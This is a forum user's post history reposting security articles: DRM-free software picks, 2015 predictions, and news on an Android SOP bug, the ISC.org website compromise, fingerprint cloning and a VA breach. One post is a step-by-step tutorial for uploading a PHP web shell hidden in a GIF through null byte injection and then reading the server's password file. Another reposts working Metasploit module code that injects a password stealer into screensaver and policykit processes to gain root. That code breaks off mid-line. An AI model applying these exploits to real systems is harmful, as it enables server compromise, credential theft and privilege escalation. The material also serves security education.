Jump to content

Aerosol

Active Members
  • Posts

    3453
  • Joined

  • Last visited

  • Days Won

    22

Everything posted by Aerosol

  1. In my last article, I explained some of the problems millions of users have had with the most popular productivity applications. Microsoft and Adobe are trying to get users to buy SaaS (software as a service) products. I figure they see two upsides to that. One, they project they’ll make more money from Office 365 and Creative Cloud over the long term than from conventional Office and Creative Suite. Secondly, they can operate DRM from their servers and implement new DRM software over time when older versions are cracked. Which, like the first reason, leads Microsoft and Adobe to believe that they’ll make more money. More money than the added ongoing expense of having extra servers? Only time will tell. But Google operates an amazing number of servers and data centers, and they seem to be pretty profitable. In the second article, I mentioned how major video game publishers such as Electronic Arts, Activision, and Valve are also trying to get users to buy products that require connectivity to their servers, even for single player games. Especially for games against AI that’s written in the code in a HDD-installed application, that “always on” necessity is for DRM, whether or not they’ll admit it. But due to bugs, insufficient server capacity, or sometimes both, Microsoft, Adobe, EA, and Activision/Blizzard have all had incidents where users couldn’t use the applications they’ve purchased legitimately. When it affects gamers, there are a lot of pissed off customers. When it affects other corporations, many millions of dollars of productivity is lost. DRM is supposed to keep pirates away, not paying customers. As availability is a component of the CIA triad, when software can’t be used in the way it’s supposed to be usable, it’s an information security problem. Even when it affects something as seemingly superfluous as video games. It gets even worse. Sony Music admitted that the XCP DRM on some music CDs released in 2005 was rootkit spyware malware. As much as P2P piracy is a problem in the music industry, the bad publicity and possible litigation wasn’t worth it. Putting certain music CDs in a Windows PC, just to enjoy them in the way that Sony Music allowed, made those Windows PCs immensely more vulnerable to information security attacks. The likely North Korean attack on Sony Pictures’ networks was far from the first major security problem the huge Sony conglomerate has had! Older DRM technolgies, like Nintendo’s 10NES chip, weren’t particularly problematic to consumers. Some, like the copy protection method Broderbund used in Carmen Sandiego games, were even kind of charming. But as computer technology evolves and becomes more complex, DRM measures seem to be causing more problems than they’re worth. If you run a business, or if you use technology as a consumer, what can you do? There are actually many excellent, perfectly legal alternatives to DRM software, as the Free Software Foundation’s Defective By Design campaign highlights. Free software, as in FOSS (free and opensource software), not proprietary freeware, offers many of the best alternatives for most of the things you can do with computers and mobile devices, for both business and pleasure. Let’s look at some! Productivity Office As a journalist and researcher, I require a word processor to do my work for a living. I don’t like Microsoft Word, nor do I like any other component of the Microsoft Office suite. Even if I were to get a conventional version of Microsoft Office that can work without network connectivity (Microsoft Office 2013 as opposed to Office 365), I think every version after 2003 has gotten progressively worse. There has been a lot of malware over the years that has targeted Office, especially Outlook macros. Beyond information security, the GUI changes and new features have worsened Microsoft’s product, in my opinion. As a computing professional, I can learn functionality differences between different versions of applications very quickly. But that doesn’t mean that I like them. Plus, I use GNU/Linux operating systems only. I’m running Kubuntu on my multiboot desktop right now. If I was to use Microsoft Office, I’d have to run it in the Wine emulation layer. What’s the point? The .doc and .docx file formats have long ago become the industry standard. But that’s perfectly fine by me. For my everyday work, I use the LibreOffice suite. I use LibreOffice Writer the most frequently. It’s a fork of the old OpenOffice suite. img]http://resources.infosecinstitute.com/wp-content/uploads/122314_1420_TheFascinat1.png Obviously, LibreOffice Writer is the word processor. LibreOffice Calc is for spreadsheets and charts, LibreOffice Impress is for slideshows, LibreOffice Draw is for graphics, and LibreOffice Math is for… math! If you don’t work with GNU/Linux as I do, there are also versions of the LibreOffice suite for Windows and Mac OS X. By default, LibreOffice applications will save files in FOSS file formats such as .odt. As the people I send my work to use Microsoft Word, I save my files in .doc format. It’s easy, and there are no compatibility problems between the competing applications. Learn more about LibreOffice and download here. Email There’s a surefire way to avoid Microsoft Outlook macro vulnerabilities and the strange bugs that Microsoft lets appear here and there. Use a FOSS email client. Slypheed is one of the best out there. Slypheed has an excellent, intuitive GUI. For those who prefer it, keyboard shortcuts can also be used for almost everything. Slypheed is remarkably stable, a lot more stable than the overwhelming majority of email clients out there. If you keep tens of thousands of messages in your inbox and on your hard drive, Slypheed still runs really smoothly. You could use it intensively for years without crashing. For those of us who are security minded, Slypheed easily supports many security features, such as SSL/TLSv1 encryption for POP3, IMAP4, and NNTP. As IPv6 ever so gradually replaces IPv4, Sylpheed supports both by default. The plugin selection is also impressive. There are native versions for Windows XP/Vista/7/8 and Mac OS X, in addition to GNU/Linux. Learn more about Slypheed and download here. Media Graphic design More and more graphic designers, web developers, and video editors are migrating from Adobe products, as Adobe’s Creative Cloud is problematic every time there are problems on their data center end. It’s not that difficult, because there are lots of excellent FOSS alternatives. GIMP is the most popular Photoshop substitute. There’s pretty much nothing Photoshop can do that GIMP can’t. It’s a truly full featured photo editor and graphic creator. It’s fully compatible with Photoshop brushes and file formats. The filter and rendering options are immense. There’s also a huge amount of plugins available. All the most popular image file formats are also easily supported, importable and exportable. If you’ve grown accustomed to Photoshop’s interface, there’s also a fork called Gimpshop, which recreates Photoshop’s GUI as closely as possible. There are native versions of GIMP for all current versions of Windows, Mac OS X, GNU/Linux OSes, OpenSolaris, and FreeBSD. There are native versions of Gimpshop for GNU/Linux, Mac OS X, and Windows. Learn more about GIMP and download here. Learn more about Gimpshop and download here. Web design Forget about Dreamweaver for web development, and use Bluefish instead. It’s nice, stable, and lightweight. It’s compatible with HTML 5, XHTML, WordPress, PHP, Python, JavaScript, Perl, SQL, XML, Ruby, Google Go, and other development languages and technologies. It’s easy to insert CSS scripts and JavaScript applets. As long as your machine has enough memory, you can have hundreds of files open! A number of encoding formats are available; you’re not limited to UTF8. Also, its powerful search and replace and undo and redo features will make your life a lot easier. Native binaries are available for Windows, Mac OS X, Ubuntu, Mandriva, Fedora, Debian, and Slackware. Learn about Bluefish and download here. Video editing Blender is a FOSS full featured, professional quality video editing and creation suite. With Blender, you can do video cuts, splicing and masking. It also contains what you need to create CGI animation for movie creation and video games. Amongst a multitude of features, it even has a sophisticated 3D OpenGL game creation engine! Blender has excellent developer support, with too many extensions to name. Available extensions allow Blender to support AfterEffects, the Unreal Engine, and DirectX amongst many other industry standards. Watch out, Adobe! Native versions of Blender are available for GNU/Linux, Mac OS X, and Windows. Learn more about Blender and download here. Media player As far as playing audio and video are concerned, VLC has everything you need. VLC can play almost every format, both static and streaming. The tip of the iceberg of supported formats includes DVD video, UDP unicast and multicast streaming, MPEG, AVI, MP4, OGG, MP3, WMV, MOV, HTTP streaming, CD audio, and FLV Flash. The library of available codecs is constantly growing, and all of VLC’s code is free and opensource. There are native versions of VLC for Windows, Mac OS X, Android, iOS, and a variety of GNU/Linux and BSD/Unix Oses. Learn more about VLC and download here. Games The games on GOG.com are commercial and proprietary. Nonetheless, GOG.com’s massive and ever growing collection are all completely DRM-free. GOG.com’s offerings are available for Windows, Mac OS X, and GNU/Linux. Many of their titles come from some of the biggest game developers and publishers in the world, such as Ubisoft, Remedy, BioWare, EA, Firaxis, and Activision. Some of their over 900 games include the Ultima series, the Tomb Raider series, Neverwinter Nights, SimCity 4, Alan Wake, Far Cry, Baldur’s Gate, Rayman, and Sid Meier games. Visit GOG.com here. The Free Game Alliance is maintained by the developers of five of the best constantly developed FOSS games out there. MegaGlest is a 3D realtime strategy game, available for GNU/Linux, Windows, Mac OS X and FreeBSD. Play as one of seven factions — Romans, Persians, Tech, Egyptians, Indians, Magic, or Norsemen. Planeshift is an MMORPG. The clients and servers are all completely FOSS, and its immense world is always updated and growing. Windows, Mac OS X, and GNU/Linux are all natively supported. Rigs of Rods is a vehicle simulator with unique soft-body physics. There are versions for Windows, Mac OS X, and GNU/Linux. Battle for Wesnoth is a high fantasy turn-based strategy game with over 200 unit types. It runs in Windows, Mac OS X, GNU/Linux, FreeBSD, Solaris and more. Xonotic is an arena FPS that keeps getting better and better. What started as a Quake mod has gotten much more sophisticated over time. Play it in Windows, Mac OS X, or GNU/Linux. Visit the Free Game Alliance here. Final word So, it is possible to do all of your work and play completely DRM-free. The answer usually involves choosing FOSS. If you wanted to go even further, GNU/Linux OSes are now better than ever, and there are distros for all imaginable computing purposes! If more and more of us choose DRM-free software, we can change the software development industry for the better. In addition to not having crippled availability, FOSS code can be audited, debugged, and improved upon without being employed by a developer and without reverse engineering. In many ways, avoiding DRM and choosing FOSS can make your computing more secure and reliable. References FSF’s Defective By Design project We oppose DRM. | Defective by Design Defective By Design’s Guide to DRM-free Living Guide to DRM-Free Living | Defective by Design GOG.com GOG.com GOG.com and the DRM-free Revolution- Erik Kain, Forbes Good Old Games: GOG.com And The DRM-Free Revolution - Forbes Free Game Alliance Free Game Alliance — The Finest Free and Open-Source Games Source
  2. 2014 has been a very interesting year with some really big data breaches on companies like Sony, eBay, Dominos and widespread software vulnerabilities like Shellshock and Heartbleed. The number of security breaches continue to rise and with the introduction of wearables and rise in the use of smartphones, we are literally carrying all our information with us, which increases the attack surface even further. Hence, we decided to compile a list of security predictions for 2015. Attacks on legacy softwares In 2014, we had two major vulnerabilities with the names of Heartbleed and Shellshock, one of which targeted a weakness in the OpenSSL cryptographic library and the other one in the Unix Bash shell. These are softwares we have been dependent on since a long time and any vulnerability in these softwares could potential have a very huge target base. Attackers have already recognized this fact and we can expect more of such vulnerabilities discovered in the coming year. Internet of things (iOT) & embedded devices In the coming year, we are going to see an increase in the adoption of gadgents, home appliances that connect to the internet. However, in additon to the convenience it offers us, it also increases the attack surface for the hacker. This year, there have been a number of attacks demonstrated in conferences worldwide showing attacks on these embedded devices. Also, some of these devices might not even support software upgrade, which makes it even more vulnerable. These devices could be potentially used to install trojans on the network, install malware and ransomware, deliver unwanted ads etc. Security of Internet of things is worth keeping a close eye on for 2015. Increase in logical flaws These days, you won’t usually find a XSS or a CSRF vulnerability on a popular website. Attackers have hence started shifted to exploiting logical vulnerabilites within popular websites. These attacks don’t target a specific documented vulnerability but instead find an issue with the logic of the code and use it to conduct an attack. For e.g, Yasser ali demonstrated how he was able to hijack a paypal account with just a single click. So we can surely expect an increase in the rise of logical flaws in 2015. Big Data breaches on organizations There have been a number of major data breaches in 2014 and we expect the number to rise in 2015. In most of the cases, the attack surface have been the employers working at the company who were targeted through phishing attacks or social engineering attacks. Hence, even further attacks on the users are expected resulting to some major data breaches. Attacks on Cloud Storage Providers This is a repeat from the 2014 security predictions. But we have been storing information on cloud service like never before. Be it iCloud, dropbox, google drive etc. We all use these services. Attacks on such a service will compromise millions of account . Hence, it won’t be surprising if we see increased attacks on cloud storage providers in the coming year. Source
  3. The null character is a control character with the value zero. It is presented in many character sets such as ASCII (American Standard Code of for Information Interchange), Unicode (Universal Character Set) and EBCDIC (Extended Binary Codded Decimal Interchange Code), as well as in programming languages like C, PHP, Python and Java. Every language and character set has a different way to implement the null character. For example: In Unicode, it is represented by u0000 or z. Some languages have represented it by 00 or x00. It is also possible to pass the null character in the URL, which creates a vulnerability known as Null Byte Injection and can lead to security exploits. In the URL it is represented by %00. In this article, we will discuss a scenario in which Null Byte Injection can lead to a critical security thread in the Web application. Let’s understand the basic concepts of the null byte before going in depth. In order to fully understand the PHP null byte vulnerability, we will analyse how C handles strings. Unfortunately, C is a type of language which does not support a string as a distinct primitive data type. So, to create a string in C we have to use an array. In other words, to create a string in PHP we can simply write: $Tmp= 'hehe'; But for the same in C, we would use the following code: Char Tmp [4]; Tmp [0] = 'h'; Tmp [1] = 'e'; Tmp [2] = 'h'; Tmp [3] = 'e'; Tmp [4] = '\0'; Alternatively, we can use other functions in C like STRCPY to populate the array, but the concept is same. As C handles strings as a character array, it needs a way to define the last character of the string. This is done using a null byte. A null byte is donated by in C. So when the program runs, it starts reading the string from the first character until the null byte is reached. This creates a problem. As we know, PHP is also implemented in C. This can become an issue, because some functions in PHP might handle an input string as they are handled by C. Now, we will use a scenario in PHP language and try to exploit the vulnerability through the null byte injection. Scenario 1: We have created an application which allows the user to upload the image file into the application and to enter the file name for the image as desired. This application also has some server side validations, like only GIF files could be uploaded, etc. The PHP code of the file is given in the screenshot below. You can also download the sample code by clicking the URL. The sample code URL is given in the end of the article. The description of each line is given in following: In the first line, we are creating the variable ‘allowed’ with the array value ‘GIF’. We are getting user input parameter ‘name’ from the POST request and passing it through another PHP function ‘EXPLODE’, which is basically used to split the user entered data. It will return each value in the array. In this line, we are using another PHP function ‘END’, which is returning the last element of the array, which is the file extension, and then the extension is assigned in the variable ‘fileExtension’. We are also using the ‘getimagesize’ function to check and ensure that the file uploaded by the user is a GIF file. This function will return a true or false value according to the user input. If the user input file is not a GIF file, it will return a false value, and this value will stored in the variable ‘imagedetails’. We used an ‘IF’ condition, which checks that the user input file should be a GIF file and it also checks the user entered file name extension is a GIF. If both the conditions are true, then the file will be uploaded in the upload directory with the user entered name, otherwise it will print the error message. NOTE: Make sure that the file upload directory has the proper permissions. If the above condition is true, then it will take the user input file name through the ‘POST’ request and upload the file in the upload directory with the user input name. We have also created an HTML file named “file.html”. The HTML file code is given below: This is a simple HTML file in which we are taking input from a ‘POST’ request. Let’s put the sample code in the document root of the server and run the code. After running the code, we can see that only image files with the extension of GIF are uploaded through the section. If the user entered file name has an extension other than GIF, then the file does not get uploaded on the server. Now, our target is to upload the PHP command shell into the server. As we can see in the source code, there is no code level vulnerability in the PHP code, but it is possible to bypass this code through the null byte injection. Let’s do this. The steps are following. Note: We are using Kali Linux as a client machine. Step 1: Download any image file with the extension GIF from the Internet and copy it into a folder. We also need a simple PHP backdoor for exploiting the null byte vulnerability. Kali Linux has a large amount of exploits. Let’s copy the PHP backdoor into the same directory in which we have the GIF image. In our case, hehe.gif is an image file we have downloaded from the Internet, and simle-backdoor.php is the PHP backdoor we have copied from the webshells directory. The path of the web shell is given in the above screen shot. Step 2: Now, we have to install a package name Gifsicle. This package is not installed in Kali Linux by default. This tool is used to manipulate the GIF file. We can install it by using the following command. Step 3: After installing the Gifsicle package, run the following command in the terminal. gifsicle –comment “`tr ‘n’ ‘ ‘ < simple-backdoor.php`” < hehe.gif >action_back_out.php This command will merge the PHP code into the GIF file and create a new file hehe_backdoor.php. This command is used to add PHP code into the GIF file as a comment. Let’s check where the PHP code is inserted in the GIF image. We can check it by running the following command. We can see the PHP code in the red box. We can also see the whole PHP code is written in the following section. <!—Code Code Code Code<!– This is a comment section. So if we see the image, we can’t say that it contains a PHP code in the file. Step 4: Let’s try to upload this file into the server. It can be seen in the above screenshot that we have chosen hehe_backdoor.gif through the browse option and given it the name profile.gif. After clicking on Upload, we can see the file has been successfully uploaded into the server. We can view the uploaded images by browsing the upload folder. As we can see in the above screen shot, the normal image is viewable in the browser. The PHP interpreter does not execute the PHP code which is embedded into the image because it has the GIF extension. Step 5: Let’s try again. Setup the Burp Suite Proxy with the browser and turn the Burp Intercept on, and then upload the same file again. By clicking on upload, we can see Burp captures the browser request. The request can be seen in the following screenshot. The marked section is explained briefly in the below section. This is the file name which we entered in the previous step. The file name is hehe.gif. This section gives the information about the image. We can see the image file name is hehe_backdoor.gif. We can also see content type of the image. This is interesting, we can see that the image file has the PHP code we had inserted in previous steps. Step 6: Now we have to change the file name hehe.gif to hehe.phpA.gif. After changing the file name, click on hex. Now we can see all the Hex code. Scroll down the tab and find the name, which we have changed in the previous steps. Once we identify the name, we can see the corresponding hex code. We have changed hehe.gif to hehe.phpA.gif in raw data. We can see the same thing in the hex code. Now, add the null character in the position of A. We already know that the value of A in hex ASCII is 41. Now, replace the 41 to 00 to add the null character. 00 denotes a null character in hex ASCII. It can be seen in the above screenshot that we have replaced A with a null byte. So when PHP interpreter works with the file, as it is going to use the C library, it will terminate the string once it finds a null byte in the file name. So, that file will be saved as hehe.php. Step 7: After forwarding the request to the server, we get the following results. The server replies back 200 responses along with a message in the body that the image is “Successfully Uploaded”. Finally, our backdoor is successfully uploaded on the server. Let’s try to access the backdoor. We already know that all the files the user uploads will go to the ‘uploads’ directory. We had given the file name hehe.phpA.gif previously, but now we will access it with the file name hehe.php. We can see the GIF file image code in the browser. We can also see our backdoor we added in the previous steps has also been executed, because the extension has changed from GIF to PHP. Let’s extract the password file through the PHP backdoor. We have successfully extracted the password file from the server. Conclusion: We have seen that null byte injection could be an extremely dangerous problem in PHP. It is often used as a technique to exploit arbitrary, local and remote file inclusion vulnerabilities, etc. In order to fix the vulnerability of null byte injection, all user supplied input should be sanitized. This can be done by using the following snippit, which will strip null bytes out of the input: $input = str_replace(chr(0), '', $input); References Null character - Wikipedia, the free encyclopedia C string handling - Wikipedia, the free encyclopedia Mad Irish :: PHP Null Byte Poisoning Source
  4. A serious security vulnerability has been discovered in the default web browser of the Android OS lower than 4.4 running on a large number of Android devices that allows an attacker to bypass the Same Origin Policy (SOP). The Android Same Origin Policy (SOP) vulnerability (CVE-2014-6041) was first disclosed right at the beginning of September 2014 by an independent security researcher Rafay Baloch. He found that the AOSP (Android Open Source Platform) browser installed on Android 4.2.1 is vulnerable to Same Origin Policy (SOP) bypass bug that allows one website to steal data from another. Security researchers at Trend micro in collaboration with Facebook have discovered many cases of Facebook users being targeted by cyber attacks that actively attempt to exploit this particular flaw in the web browser because the Metasploit exploit code is publicly available, which made the exploitation of the vulnerability much easier. The Same Origin Policy is one of the guiding principles that seek to protect users’ browsing experience. The SOP is actually designed to prevent pages from loading code that is not part of their own resource, ensuring that no third-party can inject code without the authorization of the owner of the website. Unfortunately, the SOP has been the victim of Cross-Site scripting vulnerability in older versions of Android smartphones that helps attackers to serve the victims a malicious JavaScript file stored in a cloud storage account. In this particular attack, a link will be served using a particular Facebook page that could lead Facebook users to a malicious website. JavaScript code could allow an attacker to perform various tasks on the victim’s Facebook account, on behalf of the legitimate account holder. According to the researcher, hackers can do almost anything with the hacked Facebook account using JavaScript code. Some of the activities are listed as follows: Adding Friends Like and Follow any Facebook page Modify Subscriptions Authorize Facebook apps to access the user’s public profile, friends list, birthday information, likes. To steal the victim’s access tokens and upload them to their server. Collect analytics data (such as victims’ location, HTTP referrer, etc.) using the legitimate service. Security researchers have observed that the cyber crooks behind this campaign rely on an official BlackBerry app maintained by BlackBerry in order to steal the access tokens and thus hacking Facebook accounts. Using the name of a trusted developer like BlackBerry, the attacker want the campaign to remain undetected. Trend Micro reported BlackBerry about their findings. Trend Micro is working together with Facebook and BlackBerry in an attempt to detect the attack and prevent the attack from being carried out against new Android users. All Android devices upto Android 4.4 KitKat are vulnerable to this SOP vulnerability. However, a patch was offered by Google back in September, but millions of Android smartphones users are still vulnerable to the attack because the manufacturer of the smartphone no longer pushes the update to its customers or the device itself does not support a newer edition of the operating system. The SOP vulnerability resides in the browser of the Android devices, which can't be uninstalled because it's usually part of the operating system in-build feature. So, in order to protect yourself, just Disable the BROWSER from your Android devices by going to Settings > Apps > All and looking for its icon. By opening it, you’ll find a DISABLE button, Select it and disable the Browser. Source
  5. Bad News for Internet Explorer fans, if any! Microsoft's almost 20 years old Web browser with a big blue E sign might soon be a thing of the past. With the arrival of Windows 10, probably by next fall, Microsoft could come up with its brand new browser that’s more similar to Mozilla's Firefox and Google's Chrome, but less like Internet Explorer (IE), according to a recent report published by ZDNet. "Ok so Microsoft is about to launch a new browser that's not Internet Explorer and will be the default browser in Windows 10," tweeted Thomas Nigro, a Microsoft Student Partner lead and developer of the modern version of VLC. The browser, codenamed "Spartan," is a "light-weight" browser with extension support, and multiple sources confirm that this new browser isn't IE12. Instead, Spartan is an entirely new browser that will use Microsoft's Chakra JavaScript engine and Trident rendering engine (as opposed to WebKit). But Internet Explorer isn't going away completely. According to ZDNet's Mary Jo Foley, Windows 10 will ship with both Internet Explorer 11 and Spartan, though the former is expected to stick around for backwards compatibility only. The new browser will be available for both desktop and mobile devices running Windows 10. So far it’s unclear whether Spartan will be portable on non-Windows systems, such as Android, iOS, or OS X, but if it is actually imitating Chrome and Firefox, two of the most popular browsers out there, the idea isn't too crazy. The new browser is currently under development. However, if this new browser doesn't use Webkit, it will not likely be accepted into Apple's App store, because Apple requires all "apps that browse the web must use the iOS WebKit framework and WebKit Javascript" according to its app store review guidelines. What Microsoft will call the new browser is also a mystery at this point, as 'Spartan' is just a codename for the project, and there's no revelations on what it might be called by the company. Microsoft hasn’t provided any details about it but the company is hosting a press event on Jan. 21 in the company's hometown of Redmond, Washington, where it is expected to provide more details about the consumer version of Windows 10, so perhaps we will know some more about Spartan then. Source
  6. The Internet Systems Consortium website is offline today after the non-profit domain name service maintainer announced its website had possibly become infected with malware. The ISC, as it is commonly known, is perhaps best known as the developers of BIND, the most widely used DNS software on the Internet. However, the group also maintains the F-root server, one of the Internet’s 13 root name servers. The security firm Cyphort says it notified ISC.org of the infection on December 22. Sometime thereafter, the ICS replaced it’s homepage with a static notice informing users of the infection. “We believe the web site may have become infected with malware,” the ISC announced. “Please scan any machine that has accessed this site recently for malware. This is a WordPress issue, ftp.isc.org, kb.isc.org and our other network resources are unaffected.” The consortium goes on to note that it has not received any complaints of visitors having been infected with malware, but is urging that any potential victims contact ISC’s security officer via email. This is a WordPress issue, ftp.isc.org, kb.isc.org and our other network resources are unaffected. Cyphort explained last week that attackers managed to compromise ISC.org through a WordPress bug that allowed them to modify the ISC homepage with code that redirected visitors to a landing page hosting the Angler exploit kit. The kit, they say, is known to deploy a variety of exploits. In this case, Cyphort says the kit relied on Internet Explorer, Flash and Silverlight exploits. In order to evade detection, the attackers have been cycling through the redirect domains hosting Angler. The initial IE exploit is obfuscated. Upon deobfuscation, Cyphort determined that the kit attempts to detect the presence security products and virtual machine use. After that, it starts to enumerates plugins present and attempts to find a vulnerable version of IE. If there is a vulnerable version of Microsoft’s browser, Angler exploits it. The kit then deobfuscates shellcode that finds windows APIs using an API hash technique and downloads the binary from the server. After decoding that binary, Cyphort explained that the shellcode downloads another pair of binaries (one for 32-bit and another for 64-bit systems). Cyphort researcher McEnroe Navaraj says the shellcode is particularly clever because even if the user dumps the file from the memory, the hash of the loaded binary will be different each time the exploit loads. “The reason behind this file hash difference is a few modified fields in the PE Optional Header,” Navaraj wrote. “It stores the dynamically allocated buffer address as part of PE Optional Header. This trick modifies the file hash each time you load the exploit.” Each of the binaries are DLL files. the 32-bit MD5 hash is “38f583da8bc6e3d09799c88213206f14? while the 64-bit variety is “deacb2e37746ec97ac199e28e445c123? The 64-bit DLL has the following exports: AtTwo, BothCase, IsAroundMustSyntax, LineNames, ThereForAboveColumnLearn, TruthFileIs and WithinFor. The 32-bit DLL has the following exports: StartMustValueTrailing, ThatRecognisedOptionHeaderm WithinShareMustTheFile and YouLeastBrokenIntoDefining. Threatpost reached out to the ISC, but the consortium did not respond to a request for comment before the time of publication. While it appears that this attack only would have affected visitors to the ISC site and not the organization’s BIND software or other work, it is troubling nonetheless, considering the ISC’s broad role in the architecture of the Internet. The attack also invites comparison to another earlier this month, when unknown hackers were able to compromise vital systems belonging to ICANN, the organization that manages the global top-level domain system, and had access to the system that manages the files with data on resolving specific domain names. Source
  7. A member of the Chaos Computer Club (CCC) hacker network claims to have cloned a thumbprint of a German politician by using commercial software and images taken at a news conference. Jan Krissler says he replicated the fingerprint of defence minister Ursula von der Leyen using pictures taken with a "standard photo camera". Mr Krissler had no physical print from Ms von der Leyen. Fingerprint biometrics are already considered insecure, experts say. Mr Krissler, also known as Starbug, was speaking at a convention for members of the CCC, a 31-year-old network that claims to be "Europe's largest association" of hackers. 'Wear gloves' He told the audience he had obtained a close-up of a photo of Ms von der Leyen's thumb and had also used other pictures taken at different angles during a press event that the minister had spoken at in October German defence minister Ursula von der Leyen's fingerprint was cloned just from photos, the hacker claims Mr Krissler has suggested that "politicians will presumably wear gloves when talking in public" after hearing about his research. Fingerprint identification is used as a security measure on both Apple and Samsung devices, and was used to identify voters at polling stations in Brazil's presidential election this year, but it is not considered to be particularly secure, experts say. Living biometrics "Biometrics that rely on static information like face recognition or fingerprints - it's not trivial to forge them but most people have accepted that they are not a great form of security because they can be faked," says cybersecurity expert Prof Alan Woodward from Surrey University. "People are starting to look for things where the biometric is alive - vein recognition in fingers, gait [body motion] analysis - they are also biometrics but they are chosen because the person has to be in possession of them and exhibiting them in real life." Simon Gompertz tried out Barclays' finger scanner when it launched In September this year Barclays bank introduced finger vein recognition for business customers, and the technique is also used at cash machines in Japan and Poland. Electronics firm Hitachi manufactures a device that reads the unique pattern of veins inside a finger. It only works if the finger is attached to a living person. Trials in the intensive care unit at Southampton General Hospital in 2013 indicated that vein patterns are not affected by changes to blood pressure. Source
  8. The Veterans Affairs sustained another data breach, putting more than 7,000 veterans at risk of identity theft. A VA spokesman said in an email that a potential flaw in one of its patient databases managed by a vendor to provide home telehealth services may have exposed personal information of veterans. The contractor alerted VA on Nov. 4 of the potential security flaw. VA says more than 690,000 veterans took advantage of the national telehealth program in 2014. "An investigation was immediately initiated and security scans were conducted by VA, which confirmed the concern," the spokesman said. "The contracted vendor has assured VA that only vendor staff and VA staff had accessed this information. The security flaw in the vendor database was immediately corrected and VA continues to closely monitor the application." The spokesman said VA takes seriously its obligation to protect veteran information and has notified and offered credit protection to all 7,054 veterans in the database. VA says the type of security flaw was one that could have exposed veterans' data, including name, address, date of birth, phone number and VA patient identification number, via the Internet. The spokesman didn't name the contractor involved in the data breach. The spokesman said VA's policy requires notification of a breach to veterans within 60 days — though the department averages 28 days — and then alerts other stakeholders, including Congress, about the possible breach. The 60-day notification requirement is not standard across the government. There are an assortment of laws and policies that govern how quickly agencies need to report data breaches. The Office of Management and Budget's 2009 guidance requires agencies to report cyber attacks to the U.S. Computer Emergency Readiness Team (U.S-CERT) within one hour. Congress recently changed the Federal Information Security Management Act to require agencies to report cyber attacks and breaches within seven days to their appropriate congressional committees. This latest data breach continues to add to a growing list of challenges VA faces. Even though this was a contractor database and not one run by the department, the potential flaw puts veterans at continued risk. VA officials and House Veterans Affairs Committee members continue to be at loggerheads over whether the agency is doing enough to secure its systems and data. Officials say it's spending an additional $60 million on cybersecurity efforts in fiscal 2015, and it's making progress using advanced network security tools and continuous monitoring techniques. But lawmakers are unhappy with VA's communication and timely response to dozens and dozens of questions asking for details and information on just how the agency is protecting its systems. Most recently, Rep. Jackie Walorski (R- Ind.) wrote to Secretary Bob McDonald asking for more details about how VA is ensuring the security of its eBenefits system, which suffered a hack in January. VA isn't alone in facing challenges to ensure contractor systems are secure. The Thrift Savings Board and the Homeland Security Department suffered similar breaches over the last few years. The Government Accountability Office in August reviewed how six agencies — the departments of Energy, Homeland Security, State and Transportation and the Office of Personnel Management and the Environmental Protection Agency — ensured contractors protected federal data. Auditors found the six agencies had at least partially implemented governmentwide policies to ensure the oversight of federal data in contractor systems. But GAO said five of the six agencies were inconsistent in overseeing the execution and review of those assessments. Source
  9. Source ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'base64' require 'metasm' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File def initialize(info={}) super( update_info( info, { 'Name' => 'Desktop Linux Password Stealer and Privilege Escalation', 'Description' => %q{ This module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using policykit. Then it escalates to root privileges using sudo and the stolen user password. It exploits the design weakness that there is no trusted channell for transferring the password from the keyboard to the actual password verificatition against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not the root password of the system), stealing the user password of an administrative user directly allows escalating to root privileges. Please note that you have to start a handler as a background job before running this exploit since the exploit will only create a shell when the user actually enters the password (which may be hours after launching the exploit). Using exploit/multi/handler with the option ExitOnSession set to false should do the job. }, 'License' => MSF_LICENSE, 'Author' => ['Jakob Lell'], 'DisclosureDate' => 'Aug 7 2014', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X86_64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ ['Linux x86', {'Arch' => ARCH_X86}], ['Linux x86_64', {'Arch' => ARCH_X86_64}] ], 'DefaultOptions' => { 'PrependSetresuid' => true, 'PrependFork' => true, 'DisablePayloadHandler' => true }, 'DefaultTarget' => 0, } )) register_options([ OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), ], self.class) end def check check_command = 'if which perl && ' check_command << 'which sudo && ' check_command << 'id|grep -E \'sudo|adm\' && ' check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;' check_command << 'then echo OK;' check_command << 'fi' output = cmd_exec(check_command).gsub("\r", '') vprint_status(output) if output['OK'] == 'OK' return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds pl = generate_payload_exe if pl.blank? fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") end exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" print_status("Writing payload executable to '#{exe_file}'") write_file(exe_file, pl) cmd_exec("chmod +x #{exe_file}") cpu = nil if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new elsif target['Arch'] == ARCH_X86_64 cpu = Metasm::X86_64.new end lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib) lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so" print_status("Writing lib file to '#{lib_file}'") write_file(lib_file,lib_data) print_status('Restarting processes (screensaver/policykit)') restart_commands = get_restart_commands restart_commands.each do |cmd| cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file cmd_exec(cmd) end print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.') end def get_restart_commands get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|' get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";' get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";' get_cmd_lines << 